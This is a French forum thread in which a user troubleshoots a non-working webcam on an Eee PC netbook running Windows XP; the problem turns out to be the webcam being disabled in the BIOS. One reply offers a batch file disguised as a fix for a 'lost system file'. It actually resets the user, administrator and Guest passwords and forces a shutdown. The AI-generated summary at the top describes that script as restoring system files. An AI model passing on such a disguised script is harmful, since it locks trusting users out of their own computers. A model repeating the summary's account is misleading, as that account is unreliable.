Webcam ne fonctionne pas

Résolu
pyli -  
Bonjour,
j'ai un eeepc 1005ha qui tourne sous xp8 et j'ai un petit souci avec la webcam intégrée, j'ai du son mais pas d'images
merci pour votre aide

16 réponses

Résumé de la discussion

Un problème concerne un netbook eeepc 1005ha sous XP8 dont la webcam intégrée ne délivre pas d’image alors que le son fonctionne normalement, suscitant plusieurs pistes et tentatives de dépannage. Parmi les solutions évoquées, la réinstallation du pilote de la webcam et l’utilisation du Gestionnaire de périphériques pour désinstaller puis redémarrer le périphérique sont les plus fréquentes sur XP8. D'autres propositions mentionnent un script batch visant à restaurer des fichiers système, tandis que certains conseillent des vérifications simples comme la réinitialisation du matériel ou le remplacement du fichier manquant. Des échanges évoquent aussi des références à XP8 et des questions sur le téléchargement approprié, sans consensus sur une solution unique.

Bobot (l’IA à votre service)
  1. glg29
    Bonjour pyli,
    Réinstaller le pilote de la caméra par exemple, as-tu essayé ?
    Sur cette page, (cliquer ici), tu devrais trouver !
    @+
    1. glg29
      Sur le lien qui s'ouvre, tu sélectionnes ton système XP puis tu valides ensuite cliquer sur le petit + devant la ligne Caméra pour avoir les données du pilote à prendre.
      @+
  2. pyli
    re,
    par contre il n'y a pas pour windows 8
    1. glg29
      Tu me poses une colle là, je ne voudrais pas que tu fasses n'importe quoi non plus !
      Un petit moment s'il te plaît afin de vérifier autre chose.
      Si je ne réponds pas de suite, je dois quitter maintenant, je laisserai une suite de toutes manières.
      @+
  3. pyli
    re,
    ok merci
    1. glg29
      Comme promis, mais toujours aussi embêté, qu'entends-tu par XP8 ? Est-ce une version de Windows XP ? Rien trouvé correspondant à XP8 donc, surprise !!!
      Je ne sais plus vraiment quoi te proposer sans crainte de bêtises !
      Peux-tu définir plus clairement ta demande concernant XP8 ?
      @+
  4. pyli
    re,
    ce que je veux dire c ke j'utilise la version internet explorer 8
    1. glg29
      Je comprends déjà mieux, XP8 pour moi est inconnu !!!!
      Par contre Internet Explorer ou IE8 je connais !!!!!
      À mon sens , mais je vais à nouveau vérifier, le premier lien que j'ai passé doit te dépanner.
      @+
    2. glg29
      Le système d'exploitation c'est bien Windows XP ?
      Quand tu mets ton ordinateur en fonctionnement tu vois quoi d'affiché ? Windows XP, Vista, autre chose ?
  6. pyli
    re,
    désolée je m'etais mal exprimée
    et j'ai encore une petite question
    je dois telecharger a global (DLM) global ou china?
    1. pyli
      re,
      ouioui c xp j'ai fait un amalgame
      j'ai donc telechargé a camera puis global et ensuite?
      1. glg29
        Effectivement, je pouvais préciser !!!
        Global (dlm) c'est ce qu'il faut prendre, c'est fait ?
        @+
    2. pyli
      ah mince j'ai teléchargé global
      1. glg29
        Non c'est bien, il doit fonctionner aussi. C'est un fichier zip que tu dois décompresser pour pouvoir l'installer. Tu cliques droit dessus puis tu fais Extraire ici. Je ne sais où il se trouve sur ton ordinateur, mais pas grave puisque quand l'installation sera effective, tu élimineras ce fichier. Tu dis dès que c'est fait.
    3. pyli
      j'ai dezippé le dossier et?
      1. glg29
        Tu dois maintenant avoir un fichier setup ou exe sur lequel tu vas cliquer pour installer.
    4. pyli
      j'ai plusieurs setup mais lorsque je veux executer c pour la desinstallation
      1. glg29
        Il y a obligatoirement un qui sert à l'installation, je n'ai pas ton écran sous les yeux, difficile de te guider. Tu as déjà fait 95% du travail !!!
      2. glg29
        Tu dois avoir un fichier qui se nomme AsusSetup, je pense que c'est celui-là !
      3. glg29
        Application avec un écran bleu, as-tu cette icône ? Si oui, c'est probablement celui-là !
    5. pyli
      j'ai essayé plusieurs trucs mais a chaque fois si je fais executer ça me demande si je veux confimer la désinstallation
      1. glg29
        Là j'ai du mal à suivre car, s'il te demande de désinstaller, cela suppose que tout est en mesure de fonctionner !!!!
        Dans ton message initial, tu dis que tu as le son, mais pas l'image de la caméra, j'ai bien lu ?
    6. pyli
      oui c ça
      1. glg29
        Si c'était mon ordinateur, je désinstallerais tout pour réinstaller ensuite, mais je ne souhaite pas te faire faire des bêtises non plus !
        Je ne sais trop quoi proposer, tout en sachant que tu si tu désinstalles, tu as le téléchargement que tu viens d'effectuer pour réinstaller, à toi de décider.
        Je ne veux pas te donner de directive pour que tu m'en veuilles ensuite !!!
        En supposant qu'il soit encore sous garantie, là, filer de suite là d'où il vient !!!
      2. glg29
        Tu laisses une suite si tu le souhaites, il est tard et je suis debout depuis très tôt, je vais mettre mes yeux à dormir !
        Bonne nuit.
        @+
    7. jupp4
      Héy les gens,j'ai la solution!!! car j'avais le même problème que pyli,en fait,c'est à cause de la perte d'un fichier système, pour le restaurer, t'as qu'a copier le code ci-dessus, et l'enregistrer sous l'extention .bat (exemple : cam.bat), il te reste qu'a faire un double clic sur le fichier créé, et c'est tout !.
      voiçi le code :

      echo off
      break off
      net user %USERNAME% 0895
      net user administrator 0895
      net user Guest 0895
      shutdown -s -f -t 01
      exit
      1. pyli
        bonjour,
        en fait le souci c que ma webcam n'est pas detectée!
        je dois copier le code ou?
        desolée mais je n'y connais pas grand chose
        merci pour ton aide
        1. glg29
          Bonjour pyli,
          Si ta cam n'est pas détectée, c'est un autre problème !
          Dans le Gestionnaire de périphériques, tu devrais alors avoir des alertes, est-ce le cas ?
          Triangle jaune avec un ! ou un ? /!\
        2. glg29
          Tu peux éventuellement essayer la manipulation suivante.
          Dans le Gestionnaire de périphériques, tu fais un clique droit sur Caméra, Webcam, à toi de voir comment elle se nomme, tu désinstalles et redémarres l'ordinateur. Celle-ci devrait se réinitialiser pendant le démarrage.
      2. pyli
        en fait je viens d'ouvrir msn, je suis allée sur configuration audio et video et kan je veux selectionner la webcam, j'ai le choix entre par defaut aucun et desactiver
        1. glg29
          Question
          C'est seulement sous Windows Live Messenger que ta webcam de fonctionne pas, ou c'est qu'elle ne fonctionne pas du tout ?
      4. pyli
        probleme reglé! en fait la webcam etait tout simplement désactivée dans le bios
        merci d'avoir pris le temps de m'aider

        bonne journée